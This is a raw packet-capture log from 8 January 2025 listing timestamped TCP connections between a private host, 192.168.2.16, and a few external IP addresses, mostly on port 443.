Jan 8, 2025 15:44:41.750324965 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.750380993 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.750461102 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.750665903 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.750683069 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.756038904 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756112099 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756212950 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756266117 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756282091 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756333113 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756382942 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756428003 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756515026 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756555080 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756633997 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756676912 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756699085 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756735086 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756747961 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756789923 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756886959 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756931067 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756932020 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756944895 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.756978035 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756989956 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.756994009 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757003069 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757033110 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757041931 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757085085 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757157087 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757198095 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757206917 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757249117 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757285118 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757320881 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757329941 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757338047 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757370949 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757385015 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757424116 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757422924 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757436037 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757463932 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.757761002 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.757813931 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.758073092 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.758080959 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.758121967 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.758131981 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.758137941 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.758193970 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.760905981 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.760978937 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.761346102 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761363029 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761409044 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.761415958 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761429071 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.761459112 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.761671066 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761687040 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761723042 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.761729956 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.761769056 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.771439075 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.771699905 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.771717072 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.773075104 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.773149967 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773510933 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773530960 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773585081 CET	443	49790	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.773621082 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773649931 CET	49790	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773966074 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.773996115 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.774087906 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.774349928 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.774363995 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.800195932 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.800517082 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.800553083 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.800579071 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.800595999 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.800637960 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.800642967 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801038027 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801079035 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801088095 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.801094055 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801137924 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.801142931 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801961899 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.801995993 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802007914 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.802012920 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802048922 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802056074 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.802059889 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802120924 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.802680969 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802778959 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.802823067 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.802828074 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.806600094 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.806719065 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.806751013 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.806778908 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.806782961 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.806792974 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.806826115 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807030916 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807074070 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807342052 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807415009 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807447910 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807454109 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807460070 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807499886 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807723045 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807782888 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807807922 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807825089 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807828903 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807849884 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807864904 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.807868004 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.807923079 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.808581114 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.808634996 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.808638096 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.808646917 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.808684111 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.808695078 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.809341908 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.809395075 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.809479952 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.809514046 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.809520960 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.809524059 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.809560061 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.810348988 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.810385942 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.810409069 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.810412884 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.810431957 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.810456038 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.810457945 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.820256948 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:41.846229076 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.846256971 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.846307993 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.846322060 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.846353054 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.846370935 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.847269058 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.847291946 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.847340107 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.847347021 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.847368002 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.847398043 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.847949028 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.847969055 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.848026037 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.848033905 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.848072052 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.852226019 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.852230072 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.852245092 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.852309942 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852324963 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852368116 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.852375984 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852408886 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.852587938 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852602959 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852650881 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.852658033 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.852693081 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853156090 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853169918 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853218079 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853224993 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853255987 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853276014 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853518009 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853538036 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853591919 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853598118 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.853638887 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.853993893 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.854008913 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.854096889 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.854104042 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.854156971 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.859694958 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.859970093 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.859998941 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.861171961 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.861241102 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.861551046 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.861632109 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.861709118 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.861716986 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.863226891 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.863399982 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.863410950 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.864669085 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.864728928 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.864974976 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.865039110 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.865144968 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.888263941 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.888305902 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.888319969 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.888345957 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.888390064 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.888396025 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.888418913 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.888467073 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.888983965 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.888995886 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.894809961 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.895088911 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.895116091 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.896234989 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.896306038 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.896610022 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.896625042 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.896672010 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.896676064 CET	443	49793	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.896748066 CET	49793	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.896991014 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.897037983 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.897109985 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.897356987 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.897372961 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.907344103 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.915206909 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.915209055 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.915220022 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.924144030 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.924350977 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.924372911 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.925429106 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.925492048 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.925774097 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.925789118 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.925832987 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.925836086 CET	443	49794	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.925882101 CET	49794	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.926172018 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.926208019 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.926301956 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.926561117 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.926577091 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935528994 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935553074 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935601950 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.935621023 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935642958 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.935653925 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.935810089 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935827017 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935868979 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.935880899 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.935921907 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936068058 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936083078 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936136007 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936144114 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936188936 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936343908 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936364889 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936414957 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936422110 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936455965 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936620951 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936635971 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936686039 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.936692953 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.936728954 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937037945 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937052965 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937107086 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937113047 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937136889 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937151909 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937161922 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937176943 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937197924 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937202930 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937230110 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937243938 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937369108 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937385082 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937427044 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.937434912 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.937469006 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.941611052 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.941695929 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.941729069 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.941754103 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.941771984 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.941818953 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.941941977 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942373037 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942404985 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942420959 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.942430019 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942471027 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.942476988 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942887068 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.942935944 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.942944050 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.963206053 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.995213032 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.995237112 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.025599003 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025630951 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025675058 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025677919 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.025692940 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025717974 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.025742054 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.025749922 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025806904 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.025852919 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.026019096 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.026036978 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.026348114 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.026380062 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.026446104 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.026916981 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.026931047 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.028594971 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028635979 CET	443	49771	104.21.28.45	192.168.2.16
